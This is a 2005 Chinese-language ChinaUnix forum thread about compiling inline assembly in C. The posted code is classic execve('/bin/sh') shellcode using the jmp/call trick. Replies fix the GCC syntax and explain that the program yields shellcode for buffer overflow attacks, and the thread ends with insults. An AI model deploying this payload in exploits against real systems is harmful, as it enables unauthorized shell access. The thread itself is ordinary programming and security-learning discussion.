免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 4838 | 回复: 10
打印 上一主题 下一主题

[C] linux 汇编嵌入C语言问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2005-05-08 21:37 |只看该作者 |倒序浏览
下面这段代码是实现一个非常简单的exec的系统调用,为什么在redhat linux enterprise4 下,编译不通过呢?对汇编嵌入C不懂,还请大虾指教,谢谢!


  1. void main()
  2. {
  3.         __asm__("
  4.                 jmp    1f
  5.         2:        popl   %esi
  6.                 movl   %esi,0x8(%esi)
  7.                 xorl   %eax,%eax
  8.                 movb   %eax,0x7(%esi)
  9.                 movl   %eax,0xc(%esi)
  10.                 movb   $0xb,%al
  11.                 movl   %esi,%ebx
  12.                 leal   0x8(%esi),%ecx
  13.                 leal   0xc(%esi),%edx
  14.                 int    $0x80
  15.                 xorl   %ebx,%ebx
  16.                 movl   %ebx,%eax
  17.                 inc    %eax
  18.                 int    $0x80
  19.         1:        call   2b
  20.                 .string \"/bin/sh\"
  21.         ");
  22. }


复制代码



出错提示:


  1. shell.c: In function `main':
  2. shell.c:3: error: missing terminating " character
  3. shell.c:4:10: invalid suffix "f" on integer constant
  4. shell.c:4: error: `jmp' undeclared (first use in this function)
  5. shell.c:4: error: (Each undeclared identifier is reported only once
  6. shell.c:4: error: for each function it appears in.)
  7. shell.c:4: error: syntax error before numeric constant
  8. shell.c:19:12: invalid suffix "b" on integer constant
  9. shell.c:20: error: stray '\' in program
  10. shell.c:20: error: missing terminating " character
  11. shell.c:21: error: missing terminating " character
  12. shell.c:2: warning: return type of 'main' is not `int'

复制代码

论坛徽章:
0
2 [报告]
发表于 2005-05-09 10:30 |只看该作者

linux 汇编嵌入C语言问题

自己顶一下!

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
3 [报告]
发表于 2005-05-09 10:48 |只看该作者

linux 汇编嵌入C语言问题

对汇编不懂为什么要搞这个东西呢?从什么地方看的写shellcode的东西吧?^_^,好久不写了,记不清楚了。似乎多行的话,后面要写\n的,然后%号用%%。试试吧,都是语法细节的问题。

论坛徽章:
0
4 [报告]
发表于 2005-05-09 11:44 |只看该作者

linux 汇编嵌入C语言问题


  1. int main()
  2. {
  3.         __asm__(
  4.                 "jmp 1f\n\t"
  5.                 "2:\n\t"
  6.                 "popl %%esi\n\t"
  7.                 "movl %%esi,0x8(%%esi)\n\t"
  8.                 "xorl %%eax,%%eax\n\t"
  9.                 "movb %%eax,0x7(%%esi)\n\t"
  10.                 "movl %%eax,0xc(%%esi)\n\t"
  11.                 "movb $0xb,%%al\n\t"
  12.                 "movl %%esi,%%ebx\n\t"
  13.                 "int  $0x80\n\t"
  14.                 "xorl %%ebx,%%ebx\n\t"
  15.                 "movl %%ebx,%%eax\n\t"
  16.                 "inc  %%eax\n\t"
  17.                 "int  $0x80\n\t"
  18.                 "1:\n\t"
  19.                 "call 2b\n\t"
  20.                 ".string \"/bin/sh\""
  21.                 :
  22.                 :);
  23. }
复制代码

可以编译通过。但程序好象不完整,单独运行会出错。%esi中的值是从那里来的?应该有个参数提供给它吧。

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
5 [报告]
发表于 2005-05-09 12:09 |只看该作者

linux 汇编嵌入C语言问题

^_^,不用,esi的值就是string /bin/sh的地址。这个地方很巧妙的。巧妙的利用了call指令会将下一条指令的地址压栈来得到串的地址,从而传递给exec调用启动一个shell。

用这个程序得到一个shellcode,用在缓冲区溢出攻击中。

论坛徽章:
0
6 [报告]
发表于 2005-05-09 15:48 |只看该作者

linux 汇编嵌入C语言问题

原帖由 "aero" 发表:
^_^,不用,esi的值就是string /bin/sh的地址。这个地方很巧妙的。巧妙的利用了call指令会将下一条指令的地址压栈来得到串的地址,从而传递给exec调用启动一个shell。

用这个程序得到一个shellcode,用在缓冲区溢..........

呵呵,多谢提醒,你不说我还真没看出来。

论坛徽章:
0
7 [报告]
发表于 2005-07-09 15:07 |只看该作者

linux 汇编嵌入C语言问题

[quote]原帖由 "aero"]对汇编不懂为什么要搞这个东西呢?从什么地方看的写shellcode的东西吧?^_^,好久不写了,记不清楚了。似乎多行的话,后面要写\n的,然后%号用%%。试试吧,都是语法细节的问题。[/quote 发表:


SB呀你,想你这种LR才不懂也不学呢!SB一群!

论坛徽章:
0
8 [报告]
发表于 2005-07-09 17:42 |只看该作者

linux 汇编嵌入C语言问题

原帖由 "hudong" 发表:


SB呀你,想你这种LR才不懂也不学呢!SB一群!


我Kao,你胆子可真不小,来踢馆子了??
连嵌入汇编都搞不定,骂人倒是中气十足~~

论坛徽章:
0
9 [报告]
发表于 2005-07-09 22:53 |只看该作者

linux 汇编嵌入C语言问题

请教,什么是 LR ?

论坛徽章:
0
10 [报告]
发表于 2005-07-10 15:06 |只看该作者

linux 汇编嵌入C语言问题

火气真不小啊,做人要厚道啊
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP